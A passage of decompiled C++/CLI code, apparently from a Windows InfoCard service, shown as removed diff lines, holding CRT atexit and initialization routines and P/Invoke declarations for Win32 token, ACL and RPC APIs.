__FnPtr** __ponexitbegin) - { - // ISSUE: cast to a function pointer type - __FnPtr local1 = (__FnPtr) 0; - if (func == null) - return -1; - int num1; - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__global_lock()) - { - try - { - if (*__pexit_list_size - 1U < (uint) (*(int*) __ponexitend - *(int*) __ponexitbegin) >> 2) - { - try - { - uint num2 = *__pexit_list_size * 4U; - uint num3 = num2 >= 2048U ? 2048U : num2; - IntPtr cb = new IntPtr((int) num2 + (int) num3); - IntPtr num4 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) __ponexitbegin), cb); - __FnPtr** local2 = __ponexitend; - IntPtr num5 = *(int*) local2 + ((IntPtr) num4.ToPointer() - *(int*) __ponexitbegin); - *(int*) local2 = (int) num5; - *(int*) __ponexitbegin = (int) num4.ToPointer(); - uint num6 = *__pexit_list_size; - uint num7 = 512U >= num6 ? num6 : 512U; - *__pexit_list_size = num6 + num7; - } - catch (OutOfMemoryException ex) - { - IntPtr cb = new IntPtr((int) *__pexit_list_size * 4 + 8); - IntPtr num8 = Marshal.ReAllocHGlobal(new IntPtr((void*) *(int*) __ponexitbegin), cb); - __FnPtr** local3 = __ponexitend; - IntPtr num9 = *(int*) local3 + ((IntPtr) num8.ToPointer() - *(int*) __ponexitbegin); - *(int*) local3 = (int) num9; - *(int*) __ponexitbegin = (int) num8.ToPointer(); - uint* numPtr = __pexit_list_size; - int num10 = (int) *numPtr + 4; - *numPtr = (uint) num10; - } - } - *(int*) *(int*) __ponexitend = (int) func; - __FnPtr** local4 = __ponexitend; - int num11 = *(int*) local4 + 4; - *(int*) local4 = num11; - local1 = func; - } - catch (OutOfMemoryException ex) - { - } - finally - { - \u003CModule\u003E.\u003FA0x9b698f77\u002E__global_unlock(); - } - if (local1 != null) - { - num1 = 0; - goto label_12; - } - } - num1 = -1; -label_12: - return num1; - } - - internal static unsafe void _exit_callback() - { - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size == 0U) - return; - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - if ((IntPtr) local1 != new IntPtr(-1) && (IntPtr) local1 != IntPtr.Zero && (IntPtr) local2 != IntPtr.Zero) - { - while (true) - { - do - { - local2 -= 4; - if (local2 < local1) - goto label_5; - } - while ((IntPtr) *(int*) local2 == (IntPtr) \u003CModule\u003E._encoded_null()); - void* voidPtr = \u003CModule\u003E._decode_pointer((void*) *(int*) local2); - *(int*) local2 = (int) \u003CModule\u003E._encoded_null(); - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (IntPtr) voidPtr)(); - local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - } -label_5: - Marshal.FreeHGlobal(new IntPtr((void*) local1)); - } - \u003CModule\u003E.\u003FA0x9b698f77\u002E__dealloc_global_lock(); - } - - [DebuggerStepThrough] - internal static unsafe int _initatexit_m() - { - if (!\u003CModule\u003E.\u003FA0x9b698f77\u002E__alloc_global_lock()) - return 0; - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m = (__FnPtr*) \u003CModule\u003E._encode_pointer(Marshal.AllocHGlobal(128).ToPointer()); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m = \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m; - \u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size = 32U; - return 1; - } - - internal static __FnPtr _onexit_m(__FnPtr _Function) => \u003CModule\u003E._atexit_m((__FnPtr) _Function) != -1 ? _Function : (__FnPtr) 0; - - internal static unsafe int _atexit_m(__FnPtr func) - { - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m); - // ISSUE: cast to a function pointer type - int num = \u003CModule\u003E._atexit_helper((__FnPtr) (IntPtr) \u003CModule\u003E._encode_pointer((void*) func), &\u003CModule\u003E.\u003FA0x9b698f77\u002E__exit_list_size, &local2, &local1); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitbegin_m = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local1); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__onexitend_m = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local2); - return num; - } - - [DebuggerStepThrough] - internal static unsafe int _initatexit_app_domain() - { - if (\u003CModule\u003E.\u003FA0x9b698f77\u002E__alloc_global_lock()) - { - \u003CModule\u003E.__onexitbegin_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer(Marshal.AllocHGlobal(128).ToPointer()); - \u003CModule\u003E.__onexitend_app_domain = \u003CModule\u003E.__onexitbegin_app_domain; - \u003CModule\u003E.__exit_list_size_app_domain = 32U; - } - return 1; - } - - internal static unsafe void _app_exit_callback() - { - if (\u003CModule\u003E.__exit_list_size_app_domain == 0U) - return; - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - try - { - if ((IntPtr) local1 == new IntPtr(-1) || (IntPtr) local1 == IntPtr.Zero || (IntPtr) local2 == IntPtr.Zero) - return; - while (true) - { - do - { - local2 -= 4; - } - while (local2 >= local1 && (IntPtr) *(int*) local2 == (IntPtr) \u003CModule\u003E._encoded_null()); - if (local2 >= local1) - { - // ISSUE: cast to a function pointer type - __FnPtr local3 = (__FnPtr) (IntPtr) \u003CModule\u003E._decode_pointer((void*) *(int*) local2); - *(int*) local2 = (int) \u003CModule\u003E._encoded_null(); - // ISSUE: function pointer call - __calli(local3)(); - local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - } - else - break; - } - } - finally - { - Marshal.FreeHGlobal(new IntPtr((void*) local1)); - \u003CModule\u003E.\u003FA0x9b698f77\u002E__dealloc_global_lock(); - } - } - - internal static __FnPtr _onexit_m_appdomain(__FnPtr _Function) => \u003CModule\u003E._atexit_m_appdomain((__FnPtr) _Function) != -1 ? _Function : (__FnPtr) 0; - - [DebuggerStepThrough] - internal static unsafe int _atexit_m_appdomain(__FnPtr func) - { - __FnPtr* local1 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitbegin_app_domain); - __FnPtr* local2 = (__FnPtr*) \u003CModule\u003E._decode_pointer((void*) \u003CModule\u003E.__onexitend_app_domain); - // ISSUE: cast to a function pointer type - int num = \u003CModule\u003E._atexit_helper((__FnPtr) (IntPtr) \u003CModule\u003E._encode_pointer((void*) func), &\u003CModule\u003E.__exit_list_size_app_domain, &local2, &local1); - \u003CModule\u003E.__onexitbegin_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local1); - \u003CModule\u003E.__onexitend_app_domain = (__FnPtr*) \u003CModule\u003E._encode_pointer((void*) local2); - return num; - } - - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _encode_pointer(void* _param0); - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SuppressUnmanagedCodeSecurity] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _decode_pointer(void* _param0); - - [SuppressUnmanagedCodeSecurity] - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [DllImport("MSVCR80.dll", CallingConvention = CallingConvention.Cdecl)] - public static extern unsafe void* _encoded_null(); - - [DebuggerStepThrough] - internal static unsafe int _initterm_e(__FnPtr* pfbegin, __FnPtr* pfend) - { - int num1 = 0; - if (pfbegin < pfend) - { - while (num1 == 0) - { - uint num2 = (uint) *(int*) pfbegin; - if (num2 != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - num1 = __calli((__FnPtr) (int) num2)(); - } - pfbegin += 4; - if (pfbegin >= pfend) - break; - } - } - return num1; - } - - [DebuggerStepThrough] - internal static unsafe void _initterm(__FnPtr* pfbegin, __FnPtr* pfend) - { - if (pfbegin >= pfend) - return; - do - { - uint num = (uint) *(int*) pfbegin; - if (num != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli((__FnPtr) (int) num)(); - } - pfbegin += 4; - } - while (pfbegin < pfend); - } - - [DebuggerStepThrough] - internal static ModuleHandle \u003CCrtImplementationDetails\u003E\u002EThisModule\u002EHandle() => typeof (ThisModule).Module.ModuleHandle; - - [DebuggerStepThrough] - internal static unsafe void _initterm_m(__FnPtr* pfbegin, __FnPtr* pfend) - { - if (pfbegin >= pfend) - return; - do - { - uint methodToken = (uint) *(int*) pfbegin; - if (methodToken != 0U) - { - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - void* voidPtr = __calli(\u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThisModule\u002EResolveMethod\u003Cvoid\u0020const\u0020\u002A\u0020__clrcall\u0028void\u0029\u003E((__FnPtr) (int) methodToken))(); - } - pfbegin += 4; - } - while (pfbegin < pfend); - } - - [DebuggerStepThrough] - internal static unsafe __FnPtr \u003CCrtImplementationDetails\u003E\u002EThisModule\u002EResolveMethod\u003Cvoid\u0020const\u0020\u002A\u0020__clrcall\u0028void\u0029\u003E( - __FnPtr methodToken) - { - // ISSUE: cast to a function pointer type - return (__FnPtr) (IntPtr) \u003CModule\u003E.\u003CCrtImplementationDetails\u003E\u002EThisModule\u002EHandle().ResolveMethodHandle((int) methodToken).GetFunctionPointer().ToPointer(); - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindDtor(__FnPtr pDtor, void* pThis) - { - try - { - void* voidPtr = pThis; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindDelDtor(__FnPtr pDtor, void* pThis) - { - try - { - void* voidPtr = pThis; - // ISSUE: function pointer call - __calli(pDtor)(voidPtr); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [ReliabilityContract(Consistency.WillNotCorruptState, Cer.Success)] - [SecurityPermission(SecurityAction.Assert, UnmanagedCode = true)] - internal static unsafe void ___CxxCallUnwindVecDtor( - __FnPtr)> pVecDtor, - void* ptr, - uint size, - int count, - __FnPtr pDtor) - { - try - { - void* voidPtr = ptr; - int num1 = (int) size; - int num2 = count; - __FnPtr local = pDtor; - // ISSUE: cast to a function pointer type - // ISSUE: function pointer call - __calli(pVecDtor)((__FnPtr) (IntPtr) voidPtr, num1, (uint) num2, (void*) local); - } - catch (Exception ex) when (\u003CModule\u003E.__FrameUnwindFilter((_EXCEPTION_POINTERS*) Marshal.GetExceptionPointers()) != 0) - { - } - } - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint _wmainCRTStartup(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int HeapSetInformation( - [In] void* obj0, - [In] _HEAP_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetVolumeInformationW( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] uint* obj3, - [In] uint* obj4, - [In] uint* obj5, - [In] ushort* obj6, - [In] uint obj7); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CreateWellKnownSid( - [In] WELL_KNOWN_SID_TYPE obj0, - [In] void* obj1, - [In] void* obj2, - [In] uint* obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* LocalFree([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int InfoCardKeyGenX931( - [In] uint obj0, - [In] byte* obj1, - [In] byte* obj2, - [In] byte* obj3, - [In] byte* obj4, - [In] uint obj5, - [In] byte* obj6, - [In] byte* obj7, - [In] uint obj8, - [In] byte** obj9, - [In] uint* obj10, - [In] X931_restart_t* obj11); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CloseHandle([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int ConvertSidToStringSidW([In] void* obj0, [In] ushort** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateProcessAsTrustedUser( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] uint obj5, - [In] void** obj6, - [In] void** obj7, - [In] uint* obj8, - [In] void* obj9, - [In] void** obj10); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int CheckTokenMembership([In] void* obj0, [In] void* obj1, [In] int* obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int RpcRevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateProcessAsUserHelper( - [In] ushort* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] void** obj5, - [In] uint* obj6); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingSetAuthInfoW( - [In] void* obj0, - [In] ushort* obj1, - [In] uint obj2, - [In] uint obj3, - [In] void* obj4, - [In] uint obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern int RevertToSelf(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint SetEntriesInAclW( - [In] uint obj0, - [In] _EXPLICIT_ACCESS_W* obj1, - [In] _ACL* obj2, - [In] _ACL** obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint SetSecurityInfo( - [In] void* obj0, - [In] _SE_OBJECT_TYPE obj1, - [In] uint obj2, - [In] void* obj3, - [In] void* obj4, - [In] _ACL* obj5, - [In] _ACL* obj6); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* LocalAlloc([In] uint obj0, [In] uint obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint InfoCardStartRpcServer([In] ushort* obj0, [In] _RPCCALLBACKS* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcCryptoCloseContext([In] void* obj0, [In] ushort* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateJobObjectHelper([In] void** obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint VerifyTrust([In] ushort* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SHGetFolderPathW( - [In] HWND__* obj0, - [In] int obj1, - [In] void* obj2, - [In] uint obj3, - [In] ushort* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern uint GetLastError(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int DuplicateTokenEx( - [In] void* obj0, - [In] uint obj1, - [In] _SECURITY_ATTRIBUTES* obj2, - [In] _SECURITY_IMPERSONATION_LEVEL obj3, - [In] _TOKEN_TYPE obj4, - [In] void** obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint GetSecurityInfo( - [In] void* obj0, - [In] _SE_OBJECT_TYPE obj1, - [In] uint obj2, - [In] void** obj3, - [In] void** obj4, - [In] _ACL** obj5, - [In] _ACL** obj6, - [In] void** obj7); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcStringFreeW([In] ushort** obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe uint CreateAndWaitForFileOpenDialog( - [In] ushort* obj0, - [In] void* obj1, - [In] uint obj2, - [In] ushort* obj3, - [In] ushort* obj4); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint AdjustPrivileges([MarshalAs(UnmanagedType.U1)] bool _param0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SetHighAssuranceFlags([In] _CERT_CHAIN_CONTEXT* obj0, [In] uint* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingFree([In] void** obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetVersionExW([In] _OSVERSIONINFOW* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int ConvertStringSidToSidW([In] ushort* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcImpersonateClient([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int SetTokenInformation( - [In] void* obj0, - [In] _TOKEN_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int LsaGetLogonSessionData( - [In] _LUID* obj0, - [In] _SECURITY_LOGON_SESSION_DATA** obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int LsaFreeReturnBuffer([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* OpenProcess([In] uint obj0, [In] int obj1, [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int DnsNameCompare_W([In] ushort* obj0, [In] ushort* obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int EqualSid([In] void* obj0, [In] void* obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void AssertInternal( - [MarshalAs(UnmanagedType.U1)] bool _param0, - [In] ushort* obj1, - [In] sbyte* obj2, - [In] int obj3, - [MarshalAs(UnmanagedType.U1)] bool _param4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int GetTokenInformation( - [In] void* obj0, - [In] _TOKEN_INFORMATION_CLASS obj1, - [In] void* obj2, - [In] uint obj3, - [In] uint* obj4); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int _wcsnicmp([In] ushort* obj0, [In] ushort* obj1, [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void MIDL_user_free([In] void* obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* GetCurrentProcess(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern uint InfoCardStopRpcServer(); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void InfoCardKeyGenZeroAndFree([In] byte* obj0, [In] uint obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcCryptoDispatchRequest( - [In] void* obj0, - [In] ushort* obj1, - [In] _RPC_REQUEST* obj2, - [In] _RPC_RESPONSE** obj3); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe _CRYPT_OID_INFO* CryptFindOIDInfo( - [In] uint obj0, - [In] void* obj1, - [In] uint obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcStringBindingComposeW( - [In] ushort* obj0, - [In] ushort* obj1, - [In] ushort* obj2, - [In] ushort* obj3, - [In] ushort* obj4, - [In] ushort** obj5); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int OpenProcessToken([In] void* obj0, [In] uint obj1, [In] void** obj2); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe int RpcBindingFromStringBindingW([In] ushort* obj0, [In] void** obj1); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern unsafe void* _getFiberPtrId(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void _amsg_exit([In] int obj0); - - [SuppressUnmanagedCodeSecurity] - [MethodImpl(MethodImplOptions.Unmanaged | MethodImplOptions.PreserveSig, MethodCodeType = MethodCodeType.Native)] - public static extern void __security_init_cookie(); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.StdCall, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void Sleep([In] uint obj0); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - [MethodImpl(MethodImplOptions.Unmanaged, MethodCodeType = MethodCodeType.Native)] - public static extern void \u003CCrtImplementationDetails\u003E\u002EThrowModuleLoadException( - [In] string obj0, - [In] Exception obj1); - - [SuppressUnmanagedCodeSecurity] - [DllImport("", EntryPoint = "", CallingConvention = CallingConvention.Cdecl, SetLastError = true)] - 